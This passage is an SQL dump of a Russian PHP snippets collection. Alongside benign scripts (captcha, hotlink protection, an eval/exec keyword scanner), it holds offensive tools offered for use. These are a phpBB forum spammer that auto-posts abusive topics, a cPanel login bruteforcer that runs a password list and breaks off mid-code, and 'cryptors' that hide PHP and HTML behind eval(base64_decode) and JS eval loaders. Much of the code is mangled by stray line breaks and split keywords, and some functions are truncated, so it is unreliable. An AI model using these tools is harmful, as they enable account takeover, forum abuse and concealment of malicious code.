действие\r\n\r\nAntiCsrf();','files_1663_4772_',151),(344,18,'Поиск уязвимостей, путем сканировани','очередное детище с хабра, вроде не плохой алгоритм для бесплатного распостранения ))','&lt;?php # На PHP пишем ведь.\r\n\r\n#####################################\r\n# Папка для сканирования. Жалателен полный путь.\r\n$dir = \'/var/www/b\';\r\n#####################################\r\n\r\n#####################################\r\n# Функция-посковик &quot;остенького&quot; кода.\r\nfunction check($text){\r\n# Массив с подготовленными участками для поиска.\r\n$array = array(\'.$_\', \'= $_\', \', $_\', \'&quot;$_\', &quot;\'\\$_&quot;, \',$_\', \'eval(\', \'exec(\', \'proc_open(\', \'system(\');\r\n# Заготовка переменных\r\n$i = 0; $bug = NULL;\r\n# Перебор ячеек массива с целью поиска уязвимостей.\r\nforeach($array as $search){ $i++;\r\n# Ищем участок кода, при успешном нахождении записываем в переменную.\r\nif(stripos($text, $search) !== false) $bug[$i] = $search; }\r\n# А если совпадений нет, то передаём &quot;false&quot;.\r\nreturn (!empty($bug)) ? $bug : false; }\r\n#####################################\r\n\r\n#####################################\r\n# Функция для рекурсивного просмотра попапок в папке.\r\nfunction open_dir($name){\r\n# Открытие папки, поготовка переменной для хранения в ней результата.\r\n$open = opendir($name); $info = NULL;\r\n# Чтение папки.\r\nwhile($data = readdir($open)){\r\n# Отсеиваем ссылки, которые ведут выше нашей папки.\r\nif($data !== \'.\' &amp;&amp; $data !== \'..\'){\r\n# Искуственоо получаем путь к файлу.\r\n$real_name = $name.\'/\'.$data;\r\n# Если нам попался не файл, а папка, то вызываем фунцию для её чтения.\r\nif(is_dir($real_name)){ open_dir($real_name); }\r\n# А если же файл, то приступаем к анализу.\r\nelse if(is_file($real_name)){\r\n# Для начала нам нужно имееть уверенность, что наш файл - php-сценарий.\r\n$new_name = str_replace(array(\'.php\', \'.phtm\'), \'.iscode\', $real_name);\r\n# Если после манипуляции с именем файла у нас появились изменения - просматриваем файл.\r\nif($real_name !== $new_name){\r\n# Чтение файла.\r\n$text = file_get_contents($real_name);\r\n# Запускаем поиск &quot;острого&quot; кода.\r\n$check = check($text);\r\n# Если результат положительный, то выводим на экран.\r\nif($check){ echo $real_name.\' -&gt; (\'.count($check).&quot; moment(s))\\n&quot;;\r\n# А ниже выводим список &quot;острого&quot;, которое было найдено.\r\nforeach($check as $vtag){ echo \'=&gt; =&gt; |\'.$vtag.\'|\'; } echo &quot;\\n&quot;; } } } } } }\r\n#####################################\r\n\r\n# Запуск фунции для просмотра каталогов для нашей папки.\r\nopen_dir($dir);\r\n\r\n#####################################\r\n?&gt;','files_3169_1325_',151),(345,18,'Защита от прямых ссылок!','Защита от прямых ссылок!','&lt;?php\r\nRewriteEngine on\r\nRewriteBase /\r\n# если надо разрешить скачку при пустом рефере раскомментируйте это\r\n# RewriteCond %{HTTP_REFERER} !\r\n^$\r\n# Дальше список идет набор разрешенных доменов\r\nRewriteCond %{HTTP_REFERER} !\r\n^http(s)?://\r\n(www.)?\r\nsnippets.pp.ru [NC]\r\nRewriteCond %{HTTP_REFERER} !\r\n^http(s)?://\r\n(www.)?\r\nwen.ru [NC]\r\n# Форматы файлов, для которых устанавливается защита (например, mp3)\r\nRewriteRule .\r\n(mp3)$ http://\r\nya.ru\r\n#Все запросы на http:/ /\r\nsnippets.pp.ru/1.mp3 перекинутся на http:/ /\r\nya.ru\r\n?&gt;','files_1253_4316_',151),(346,18,'Защита сайта','Очень неприятно, когда в\r\nинтеренете появляются сайты,\r\nсделаные методом скачивания\r\nсодержимого с твоего,\r\nдолгими трудами созданного.\r\nВот от таких непорядочных\r\nлюдей и помогает этот скрипт.\r\nЗапись запрещающей строки\r\nв .htaccess осуществляется\r\nавтоматически.\r\nСкрипт вставляется в каждую\r\nстраницу сайта с помощью\r\ninclude.\r\nОписание настроек скрипта:\r\n// error_reporting(0) После\r\nустановки и настройки скрипта\r\nкомментарий снять.\r\n$limit // Максимально\r\nдопустимое количество\r\nобращений к сайту с одного IP-\r\nадреса в минуту.\r\n$htaccess // Путь к\r\nфайлу .htaccess\r\n$htstring // Комментарий к\r\nстроке в файле .htaccess\r\n$dirfiles // Путь к папке с\r\nвременными файлами\r\n$logfiles // Имена временных\r\nфайлов\r\n$excludes // Массив\r\nисключений с именами хостов,\r\nкоторым &quot;можно всё&quot;','&lt;?php\r\n//error_reporting\r\n(0);\r\n$address = $_SERVER\r\n[\'REMOTE_ADDR\'];\r\n$ref = $_SERVER\r\n[\'HTTP_REFERER\'];\r\n$url = urldecode\r\n($_SERVER\r\n[\'REQUEST_URI\']);\r\n$limit = 20;\r\n$timenow = time\r\n();\r\n$browser = $_SERVER\r\n[\'HTTP_USER_AGENT\'];\r\n$htaccess = $_SERVER\r\n[\'DOCUMENT_ROOT\'].&quot;/.htaccess&quot;;\r\n$dirfiles = $_SERVER\r\n[\'DOCUMENT_ROOT\'].&quot;/\r\nantirip/\r\nlogfiles/&quot;;\r\n$logfiles = &quot;$dirfiles&quot;.\r\n$address;\r\n$hostname = gethostbyaddr\r\n($address);\r\n$datetime = date\r\n(&quot;Y-m-d H:i:s&quot;);\r\n$ip1 = getenv\r\n(&quot;HTTP_X_FORWARDED_FOR&quot;);\r\n$ip2 = getenv\r\n(&quot;REMOTE_ADDR&quot;);\r\n$hostip1 = gethostbyaddr\r\n($ip1);\r\n$hostip2 = gethostbyaddr\r\n($ip2);\r\nif ($ip1 !\r\n= $ip2) {\r\n$htstring = NULL;\r\nif (!empty\r\n($ip1)) {\r\npreg_match_all\r\n(\'/[0-9]{1,3}.\r\n[0-9]{1,3}.[0-9]\r\n{1,3}.[0-9]\r\n{1,3}/\', $ip1, $ip1);\r\n$ip1 = array_unique\r\n($ip1[0]);\r\nforeach ($ip1 as $v) {\r\n$htstring.=&quot;Deny from &quot;.\r\n$v.&quot;\r\nЗаблокирован Внутренний IP\r\n$hostip1rn&quot;;\r\n}\r\n}\r\nif (!empty\r\n($ip2)) {\r\n$htstring.=&quot;Deny from &quot;.\r\n$ip2.&quot;\r\nЗаблокирован IP Proxy\r\n$hostip2rn&quot;;\r\n}\r\n} else {\r\n$htstring = &quot;Deny from &quot;.\r\n$address.&quot;\r\nЗаблокирован Внешний IP\r\n$hostnamern&quot;;\r\n}\r\n$excludes = array\r\n(\r\n&quot;yandex.ru&quot;,\r\n&quot;rambler.ru&quot;,\r\n&quot;googlebot.com&quot;,\r\n&quot;webaltabot.com&quot;,\r\n&quot;inktomisearch.com&quot;,\r\n&quot;search.live.com&quot;,\r\n);\r\nif ($opendir = opendir\r\n($dirfiles)) {\r\nwhile (false !\r\n== ($log = readdir\r\n($opendir))) {\r\nif ($log !\r\n= &quot;.&quot; and $log !\r\n= &quot;..&quot;) {\r\n$timelog = date\r\n(filemtime\r\n(&quot;$dirfiles&quot;.&quot;$log&quot;));\r\nif ($timelog &lt; ($timenow -\r\n60)) {\r\nunlink\r\n(&quot;$dirfiles&quot;.&quot;$log&quot;);\r\n}\r\n}\r\n}\r\n}\r\nforeach ($excludes as $v) {\r\nif (preg_match\r\n(\'/\'.\r\n$v.\'/\', $hostname)) {exit;}\r\n}\r\nif (!file_exists\r\n($logfiles)) {fopen\r\n($logfiles, &quot;w\r\n+&quot;);}\r\n$write = &quot;$datetime -\r\n$hostname&lt;br&gt;Browser: $browser&lt;br&gt;Referer: $ref&lt;br&gt;URL: $url&lt;br&gt;rn&quot;;\r\nif ($logfiles) {\r\nif (is_writable\r\n($logfiles)) {\r\nif (!\r\n$handle = fopen\r\n($logfiles, \'a\')) {exit;}\r\nif (fwrite\r\n($handle, $write) === FALSE) {exit;}\r\nfclose\r\n($handle);\r\n}\r\n}\r\nif ((count(file\r\n($logfiles)) &gt; $limit) and ($timelog &gt; ($timenow -\r\n60))) {\r\nif ($htaccess) {\r\nforeach (file\r\n($htaccess) as $h) {\r\nif ($h === $htstring) {\r\nexit;\r\n}\r\n}\r\nif (is_writable\r\n($htaccess)) {\r\nif (!\r\n$handle = fopen\r\n($htaccess, \'a\')) {exit;}\r\nif (fwrite\r\n($handle, $htstring) === FALSE) {exit;}\r\nfclose\r\n($handle);\r\n}\r\n}\r\n}\r\n?&gt;','files_3541_3227_',151),(347,18,'Каптча','Каптча','&lt;?php\r\nsession_start();\r\n$alp=\'QWERTYUIOPASDFGHJKLZXCVBNM123446789\';\r\n$len=strlen\r\n($alp);\r\n$code=NULL;\r\n$image = imagecreatetruecolor\r\n(72, 30);\r\n$x = NULL;\r\n$chars = mt_rand\r\n(4, 6);\r\nfor($i=0; $i&lt;\r\n$chars; $i++)\r\n{\r\n$x+=rand(7, 11);\r\n$code .= $symb = $alp\r\n{mt_rand(0,\r\n$len-1)};\r\nimagechar\r\n($image, 5, $x, mt_rand\r\n(2, 14),\r\n$symb, 0x00FFFF);\r\n}\r\n$_SESSION\r\n[\'code\'] = $code;\r\nimagefilter\r\n($image, IMG_FILTER_EMBOSS);\r\nheader(\'Content-\r\nType: image/\r\npng\');\r\nImagepng\r\n($image);\r\nImageDestroy\r\n($image);\r\n?&gt;','files_2738_2890_',151),(348,18,'Антивирус на PHP! NEW!','Антивирус на PHP! NEW!','&lt;?\r\n// Заваливаем массив списком нужных нам директорий\r\n$dir = array(&quot;./\r\ndir/&quot;);\r\n// Расширение для сортировки\r\n$extentions = array\r\n(&quot;.php&quot;);\r\n// масссив из безопасных php-\r\nфайлов файлов\r\n$safe_files = array\r\n(&quot;index.php&quot;,&quot;shell.php&quot;);\r\n// Каждый элемент массива -\r\nкак отдельную директорию\r\nforeach ($dir as $get_dir) {\r\n// Открываем хэндл директории\r\n$dir_handle = opendir\r\n($get_dir);\r\n// Получаем данные из директории\r\nwhile ( false !\r\n== ($file = readdir\r\n($dir_handle)) ) {\r\n// Находим файлы с расширением пэхопэ\r\n$ext = strtolower\r\n(strrchr\r\n($file, &quot;.&quot;));\r\n// Отсортируем все .php файлы\r\nif ( in_array\r\n($ext, $extentions) ) {\r\n// Собираем новый массив из php-\r\nфайлов\r\n$php_files\r\n[] = $file;\r\n}\r\n}\r\n}\r\n?&gt;','files_1403_4803_',151),(349,18,'Функция проверки пароля на безопастность! New!','Функция проверки пароля на безопасность! New!','&lt;?php\r\n/*\r\nЗадача:\r\nНаписать функцию проверки пароля на безопасность\r\n* длина не меньше 6 символов\r\n* должен содержать и символы и числа\r\n* не должен содержать больше (&gt;=) 3 линейно расположенных на клавиатуре символов или цифр, например таких как &quot;lkj&quot; или &quot;cvb&quot;\r\n* если пароль безопасен -\r\nвернуть истину, нет -\r\nложь\r\n*/\r\nfunctionisGood ($pass)\r\n{$kbStrings = array\r\n(\'1234567890\',\'qwertyuiop\',\'asdfghjkl\',\'zxcvbnm\',\r\n\'0987654321\',\'poiuytrewq\',\'lkjhgfdsa\',\'mnbvcxz\');\r\n$isGood = false;\r\nif (strlen\r\n($pass) &gt;= 6) {\r\nif (preg_match(\'/\r\n[a- z]/i\',\r\n$pass) &amp;&amp; preg_match\r\n(\'/[0-9]/\',\r\n$pass)) {\r\n$count = strlen\r\n($pass) - 2;\r\n$isGood = true;\r\n} else {\r\n$isGood = false;\r\nbreak 2;\r\n} } } } } return $isGood;\r\n}\r\n?&gt;','files_2384_2614_',151),(350,18,'LinkCrypt new!','LinkCrypt new!','&lt;?php\r\n$link=($_POST\r\n[\'linkk\']);\r\nfunction code\r\n($link){\r\n$a=array\r\n(\'j\' , \'.\' , \'w\' , \'f\' , \'o\', \'r\', \'u\' , \'m\' , \'a\' , \'q\' , \'t\' , \'s\' , \'v\' , \'y\' , \'b\' , \'c\' , \'d\' , \'e\' , \'i\' , \'g\' , \'h\' , \'*\' , \'p\' , \':\' , \'?\' , \'=\' , \'&gt;\' , \'&lt;\' , \'k\' , \'n\');\r\n$b=array\r\n(\'%6A\',\'%2E\', \'%77\', \'%66\', \'%6F\', \'%72\', \'%75\', \'%6D\', \'%61\', \'%71\',\'%74\', \'%73\' ,\'%76\' ,\'%79\' , \'%62\' , \'%63\' , \'%64\' , \'%65\' , \'%69\' , \'%67\',\'%68\' , \'%2A\' , \'%70\' , \'%3A\' , \'%3F\' , \'%3D\' , \'%3E\' , \'%3C\' , \'%6B\' , \'%6E\');\r\n$_txt=str_replace\r\n($a, $b, $link);\r\nreturn $_txt;\r\n}\r\nf unction decode\r\n($link){\r\n$a=array\r\n(\'j\',\'.\', \'w\', \'f\', \'o\', \'r\', \'u\', \'m\', \'a\', \'q\', \'t\', \'s\', \'v\', \'y\', \'b\', \'c\', \'d\', \'e\', \'2\', \'i\', \'g\', \'h\',\'*\',\'p\',\':\',\'/\',\'?\',\'=\',\'\'\',\'&gt;\',\'&lt;\',\' \',\'k\',\'n\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\');\r\n$b=array\r\n(\'%6A\',\'%2E\', \'%77\', \'%66\', \'%6F\', \'%72\', \'%75\', \'%6D\', \'%61\', \'%71\',\'%74\',\'%73\',\'%76\',\'%79\', \'%62\', \'%63\',\'%64\',\'%65\',\'%32\',\'%69\',\'%67\',\'%68\',\'%2A\',\'% 70\',\'%3A\',\'%2F\',\'%3F\',\'%3D\',\'%27\',\'%3E\',\'%3C\',\'%20 \',\'%6B\',\'%6E\',\'%31\',\'%32\',\'%33\',\'%34\',\'%35\',\'%36\', \'%37\',\'%38\',\'%39\');\r\n$_txt=str_replace\r\n($b, $a, $link);\r\nreturn $_txt;\r\n}\r\nswitch ( $_REQUEST\r\n[\'type\']) {\r\ncase 0:\r\n$otvet= code\r\n($link);\r\nbreak;\r\ncase 1:\r\n$otvet= decode\r\n($link);\r\nbreak;\r\n}\r\necho \'&lt;!\r\nDOCTYPE html PUBLIC &quot;-//\r\nW3C//\r\nDTD XHTML 1.0 Transitional//\r\nEN&quot; &quot;http:/ /\r\nwww.w3.org/TR /\r\nxhtml1/DTD /\r\nxhtml1 -\r\ntransitional.dtd&quot;&gt;\r\n&lt;html xmlns= &quot;http:/ /\r\nwww.w3.org/1999 /\r\nxhtml&quot; dir=&quot;ltr&quot; lang=&quot;ru&quot;&gt;\r\n&lt;head&gt;\r\n&lt;title&gt;LinkCrypt&lt;/\r\ntitle&gt;\r\n&lt;meta http-\r\nequiv=&quot;content-\r\ntype&quot; content=&quot;text/\r\nhtml; charset=windows-1251&quot; /\r\n&gt;\r\n&lt; STYLE&gt;\r\nbody\r\n{\r\nbackground-\r\ncolor:#222;\r\ncolor:#999;\r\nfont-\r\nfamily:Verdana;\r\nfont-size:9pt;\r\npadding:0px;\r\nmargin:0px;\r\n}\r\ntable\r\n{\r\nfont-\r\nfamily:Verdana, Arial;\r\nfont-size:13px;\r\n}\r\nform\r\n{\r\npadding:20px;\r\nmargin:20px;\r\n}\r\ninput, select\r\n{\r\nbackground:#292929;\r\npadding:2px;\r\nfont-size:12px;\r\nborder:1px solid #444;\r\nfont-\r\nfamily:Verdana; color:#888;\r\n}\r\n&lt;/style&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;table align=&quot;center&quot; &gt;\r\n&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;LinkCrypt&lt;/\r\ntd&gt;&lt;/tr&gt;\r\n&lt;form method=post&gt;\r\n&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;br&gt;\r\n&lt;input name=&quot;type&quot; type=&quot;radio&quot; value=&quot;0&quot; checked&gt;enciphering\r\n&lt;input name=&quot;type&quot; type=&quot;radio&quot; value=&quot;1&quot; checked&gt;deenciphering\r\n&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td &gt;\r\n&lt;input type=input name=&quot;linkk&quot; size=48&gt;\r\n&lt;input type=input name=datafromuser size=48 value=&quot;&lt;? echo $otvet;?\r\n&gt; &quot; &gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;br&gt;\r\n&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; value=&quot;[crypt]&quot; style=&quot;width:608px;&quot;&gt;\r\n&lt;/form&gt;\r\n&lt;/td&gt;&lt;/tr&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\';\r\n?&gt;','files_4889_2560_',151),(351,18,'Антиспам! NEW!','Антиспам! NEW!','&lt;?php\r\nfunction antispam_help\r\n($text)\r\n{\r\n$dom = array\r\n(\'www.\',\'wap.\'); //\r\nподдомены\r\nif(preg_match(\'#^\r\n(https?|ftp)://\r\n(\'.implode(\'|\',\r\n$dom).\')?\'.str_replace\r\n(\'.\', \'.\', $_SERVER\r\n[\'SERVER_NAME\']).\'#\', $text\r\n[0]))\r\nreturn \'&lt;a href=&quot;\'.\r\n$text[0].\'&quot;&gt;\'.\r\n$text[0].\'&lt;/a&gt;\';\r\nelse\r\nreturn \'[реклама]\';\r\n}\r\nfunction antispam\r\n($text)\r\n{\r\nreturn preg_replace_callback\r\n(&quot;#(https?|\r\nftp)://S\r\n+[^s.,&gt;)];\'&quot;!?]#&quot;, \'antispam_help\', $text);\r\n}\r\n?&gt;','files_2093_4891_',151),(352,18,'Мини криптор!','Мини криптор!','&lt;?\r\n//\r\n$file=&quot;123.php&quot;;//\r\nСтарый файл\r\n$new=&quot;1233.php&quot;;//\r\nНовый файл\r\n//\r\n$content = file_get_contents\r\n($file);\r\n$content=str_replace\r\n(&quot;&lt;?&quot;,\'\',\r\n$content);\r\n$content=str_replace\r\n(&quot;?&gt;&quot;,\'\',\r\n$content);\r\n$content=str_replace\r\n(&quot;\r\n&quot;,\'\',$content);\r\n$contents = base64_encode\r\n($content);\r\n$fp=fopen\r\n($new,&quot;w&quot;);\r\nfwrite($fp,\'&lt;?\r\neval\r\n(base64_decode\r\n(&quot;\'.\r\n$contents.\'&quot;));return;?\r\n&gt;\');\r\nfclose($fp);\r\n?&gt;','files_4502_1358_',151),(353,18,'Криптор!','Криптор!','&lt;?\r\nfunction a($n)\r\n{\r\n$p=&quot;OD&amp;:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-\r\n{jv!Pk|r1mnYU}\r\nqV7/;pF]sXG=ILtQJ0u\'2Md\r\n(4*&quot;; //\r\nсдесь пишем любой ключ который вам нравится и криптуем своей сигнатурой\r\n$q=\'\';\r\n$e=\'\';\r\nfor($l=0;\r\n$l&lt;strlen($n);$l+\r\n+)\r\n{\r\n$o=$n[$l];\r\n$m=strpos($p,\r\n$o);\r\nif($m&gt;-1)\r\n{\r\n$z=(($m+1)-1);\r\nif($z==79)\r\n{\r\n$z =0;\r\n}\r\n$q .= $p[$z+1];\r\n} else {\r\n$q.=$o;\r\n}\r\n}\r\nreturn $q;\r\n}\r\n$file=join\r\n(\'\',file\r\n(\'in.html\')); //\r\nфайл который криптуем\r\n$file=str_replace\r\n(&quot;\r\n&quot;,\'\',$file);\r\n$file=str_replace\r\n(&quot;\r\n&quot;,\'\',$file);\r\n$file=a($file);\r\n$decrypt=&quot;function decrypt\r\n(n)\r\n{var l,ch,ind,q=&quot;&quot;,key=&quot;OD&amp;:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-\r\n{jv!Pk|r1mnYU}\r\nqV7/;pF]sXG=ILtQJ0u\'2Md\r\n(4*&quot;;for\r\n(l=0;l&lt;n.length;l\r\n++){ch=n.charAt\r\n(l);ind=key.indexOf\r\n(ch);i f(ind&gt;-1)\r\n{if(ind==0)\r\n{ind =79}q\r\n+=key.charAt\r\n(ind-1)} else {q\r\n+=ch}};document.write\r\n(q)}&quot;;\r\n$decrypt=urlencode\r\n($decrypt);\r\n$decrypt=str_replace\r\n(\'+\',\' \',\r\n$decrypt);\r\n$file=str_replace\r\n(&quot;\'&quot;,&quot;\'&quot;,$file);\r\n$cont=&quot;&lt;script&gt;function load\r\n(code,dfunc,anticasp)\r\n{eval\r\n(dfunc);decrypt\r\n(code );}load(\'&quot;.\r\n$file.&quot;\',unescape\r\n(\'&quot;.\r\n$decrypt.&quot;\'));&lt;/\r\nscript&gt;&quot;;\r\n$file=fopen\r\n(\'out.htm\',\'w\'); //\r\nто что получается на выходе\r\nfputs($file,\r\n$cont);\r\nfclose($file);\r\n?&gt;','files_2709_4691_',151),(354,18,'phpBB2 Forum spammer!','phpBB2 Forum spammer!','&lt;?php\r\n&lt;html&gt;&lt;head&gt;\r\n&lt;meta name=&quot;GENERATOR&quot; content=&quot;Microsoft FrontPage 6.0&quot;&gt;\r\n&lt;meta name=&quot;ProgId&quot; content=&quot;FrontPage.Editor.Document&quot;&gt;\r\n&lt;meta http-\r\nequiv=&quot;Content-\r\nType&quot; content=&quot;text/\r\nhtml; charset=windows-1252&quot;&gt;\r\n&lt;title&gt;phpBB Spammer&lt;/\r\ntitle&gt;\r\n&lt;script type=&quot;text/\r\njavascript&quot;&gt;\r\n&lt;!--\r\nfunction submitForm\r\n(counter)\r\n{\r\ndocument.title = \'phpBB Spammer\' + counter + \' topics posted\';\r\nif\r\n(document.docform.script_on.value == \'1\')\r\n{\r\ndocument.docform.action = document.docform.target.value;\r\ndocument.docform.submit\r\n();\r\ncounter++;\r\n}\r\ndocument.getElementById\r\n(\'counterspan\').innerHTML = counter;\r\nsetTimeout\r\n(&quot;submitForm\r\n(&quot; + counter + &quot;)&quot;, document.docform.intervals.value * 1000);\r\n}\r\nfunction onOff()\r\n{\r\nif\r\n(document.docform.script_on.value == \'1\')\r\n{\r\ndocument.docform.script_on.value = \'0\';\r\ndocument.docform.stopstart.value = \'Start!\';\r\n}\r\nelse\r\n{\r\ndocument.docform.script_on.value = \'1\';\r\ndocument.docform.stopstart.value = \'Stop!\';\r\n}\r\n}\r\n//-Arrow\r\n&lt;/script&gt;\r\n&lt;/\r\nhead&gt;&lt;body onload=&quot;submitForm\r\n(0)&quot; style=&quot;font-\r\nfamily: Verdana; font-\r\nsize: 8pt; font-\r\nstyle: italic;&quot;&gt;\r\n&lt;form name=&quot;docform&quot; enctype=&quot;multipart/\r\nform-\r\ndata&quot; action=&quot;&quot; method=&quot;post&quot; target=&quot;iframe&quot;&gt;\r\n&lt;div align=&quot;left&quot;&gt;\r\n&lt;table style=&quot;border-\r\ncollapse: collapse;&quot; id=&quot;AutoNumber1&quot; bgcolor=&quot;#dee9f3&quot; border=&quot;1&quot; bordercolor=&quot;#c0c0c0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;100%&quot;&gt;\r\n&lt;tbody&gt;&lt;tr&gt;\r\n&lt;td colspan=&quot;2&quot; bgcolor=&quot;#c4d8ea&quot;&gt;\r\n&lt;h1 align=&quot;center&quot;&gt;\r\n&lt;span style=&quot;font-\r\nstyle: italic; text-\r\ndecoration: underline;&quot;&gt;Afterlife\'s phpBB Spammer!\r\n&lt;/span&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td width=&quot;54%&quot;&gt;&lt;i&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;Intervals (seconds)&lt;/\r\nfont&gt;&lt;/i&gt;&lt;/td&gt;\r\n&lt;td width=&quot;46%&quot;&gt;&lt;font size=&quot;1&quot;&gt;&lt;input name=&quot;intervals&quot; size=&quot;57&quot; value=&quot;30&quot; type=&quot;text&quot;&gt;&lt;/\r\nfont&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td width=&quot;54%&quot;&gt;&lt;i&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;Forum ID (This can be found in the forum url, in the url\r\nyou will see viewforum.php?\r\nf=\r\n{num}, the number is the id.)&lt;/\r\nfont&gt;&lt;/i&gt;&lt;/td&gt;\r\n&lt;td width=&quot;46%&quot;&gt;&lt;font size=&quot;1&quot;&gt;&lt;input name=&quot;f&quot; size=&quot;57&quot; type=&quot;text&quot;&gt;&lt;/\r\nfont&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td width=&quot;54%&quot;&gt;&lt;i&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;Target&lt;/\r\nfont&gt;&lt;/i&gt;&lt;/td&gt;\r\n&lt;td width=&quot;46%&quot;&gt;\r\n&lt;font size=&quot;1&quot;&gt;\r\n&lt;input name=&quot;target&quot; size=&quot;57&quot; value= &quot;http:/ /\r\nwww.phpbb.com /\r\nphpBB /\r\nposting.php&quot; type=&quot;text&quot;&gt;&lt;/\r\nfont&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td width=&quot;54%&quot;&gt;&lt;i&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;Topic Title&lt;/\r\nfont&gt;&lt;/i&gt;&lt;/td&gt;\r\n&lt;td width=&quot;46%&quot;&gt;\r\n&lt;font size=&quot;1&quot;&gt;\r\n&lt;input name=&quot;subject&quot; size=&quot;57&quot; value=&quot;Spam!&quot; type=&quot;text&quot;&gt;&lt;/\r\nfont&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td width=&quot;54%&quot;&gt;&lt;i&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;Topic Content&lt;/\r\nfont&gt;&lt;/i&gt;&lt;/td&gt;\r\n&lt;td width=&quot;46%&quot;&gt;\r\n&lt;font size=&quot;1&quot;&gt;\r\n&lt;textarea rows=&quot;5&quot; name=&quot;message&quot; cols=&quot;48&quot;&gt;You are being spammed bitch!\r\n&lt;/textarea&gt;&lt;/\r\nfont&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td width=&quot;54%&quot;&gt;&lt;i&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;Controls&lt;/\r\nfont&gt;&lt;/i&gt;&lt;/td&gt;\r\n&lt;td width=&quot;46%&quot;&gt;\r\n&lt;font size=&quot;1&quot;&gt;\r\n&lt;input value=&quot;Start!&quot; name=&quot;stopstart&quot; onclick=&quot;onOff\r\n()&quot; type=&quot;button&quot;&gt;&lt;i&gt;\r\n&lt;input name=&quot;script_on&quot; value=&quot;0&quot; type=&quot;hidden&quot;&gt;\r\n&lt;input name=&quot;mode&quot; value=&quot;newtopic&quot; type=&quot;hidden&quot;&gt;\r\n&lt;input name=&quot;post&quot; class=&quot;mainoption&quot; value=&quot;Submit&quot; type=&quot;hidden&quot;&gt;\r\n&amp;nbsp;\r\n(Please be logged in first, Use the autologin feature)&lt;/\r\ni&gt;&lt;/font&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td width=&quot;54%&quot;&gt;&lt;i&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;Total post requests made&lt;/\r\nfont&gt;&lt;/i&gt;&lt;/td&gt;\r\n&lt;td width=&quot;46%&quot;&gt;\r\n&lt;i&gt;\r\n&lt;font size=&quot;1&quot;&gt;&amp;nbsp;&lt;span id=&quot;counterspan&quot;&gt;0&lt;/\r\nspan&gt;&lt;/font&gt;&lt;/i&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=&quot;2&quot;&gt;\r\n&lt;i&gt;&lt;font size=&quot;1&quot;&gt;\r\n&lt;iframe name=&quot;iframe&quot; marginwidth=&quot;1&quot; marginheight=&quot;1&quot; border=&quot;0&quot; align=&quot;center&quot; width=&quot;100%&quot; frameborder=&quot;0&quot; height=&quot;500&quot;&gt;\r\nYour browser does not support inline frames or is currently configured\r\nnot to display inline frames, This spammer requires inline frames to\r\nfunction.&lt;/\r\niframe&gt;\r\n&lt;/font&gt;&lt;/i&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;&lt;/table&gt;\r\n&lt;/div&gt;\r\n&lt;/form&gt;\r\n&lt;/body&gt;&lt;/html&gt;\r\n?&gt;','files_2682_3610_',151),(355,18,'cPanel 11 Bruteforcer!','cPanel 11 Bruteforcer','&lt;?php\r\necho &quot;URL (cPanel Main Page e.G http:/ /\r\nsite.com:2082): &quot;;\r\n$url = trim(fgets\r\n(STDIN));\r\necho &quot;USER TO BRUTE: &quot;;\r\n$user = trim\r\n(fgets(STDIN));\r\necho &quot;PASSLIST: &quot;;\r\n$passlist = trim\r\n(fgets(STDIN));\r\nbrute_cPanel\r\n($url, $user, $passlist);\r\nfunction login_cPanel\r\n($url, $user, $pass)\r\n{\r\n$target = trim\r\n($url).&quot;/\r\nlogin/&quot;;\r\n$post_data = &quot;login_theme=cpanel&amp;user=&quot;.\r\n$user.&quot;&amp;pass=&quot;.\r\n$pass;\r\n$referer = trim\r\n($url);\r\n$user_agent = &quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3&quot;;\r\n$curl_conf = array\r\n(\r\nCURLOPT_RETURNTRANSFER =&gt; TRUE,\r\nCURLOPT_FOLLOWLOCATION =&gt; TRUE,\r\nCURLOPT_USERAGENT =&gt; $user_agent,\r\nCURLOPT_REFERER =&gt; $referer,\r\nCURLOPT_POST =&gt; TRUE,\r\nCURLOPT_POSTFIELDS =&gt; $post_data\r\n);\r\n$curl_handle = curl_init\r\n($target);\r\ncurl_setopt_array\r\n($curl_handle, $curl_conf);\r\n$content = curl_exec\r\n($curl_handle);\r\nfile_put_contents\r\n(&quot;result.htm&quot;, $content);\r\nif (!preg_match\r\n(&quot;[Login Attempt Failed!]&quot;, $content))\r\n{\r\nreturn true;\r\n}\r\nelse\r\n{\r\nreturn false;\r\n}\r\n}\r\nf unction brute_cPanel\r\n($url, $user, $passlist)\r\n{\r\n$passes = file\r\n($passlist);\r\n$count = count\r\n($passes);\r\n$counter = 0;\r\necho &quot;CHECKING FOR 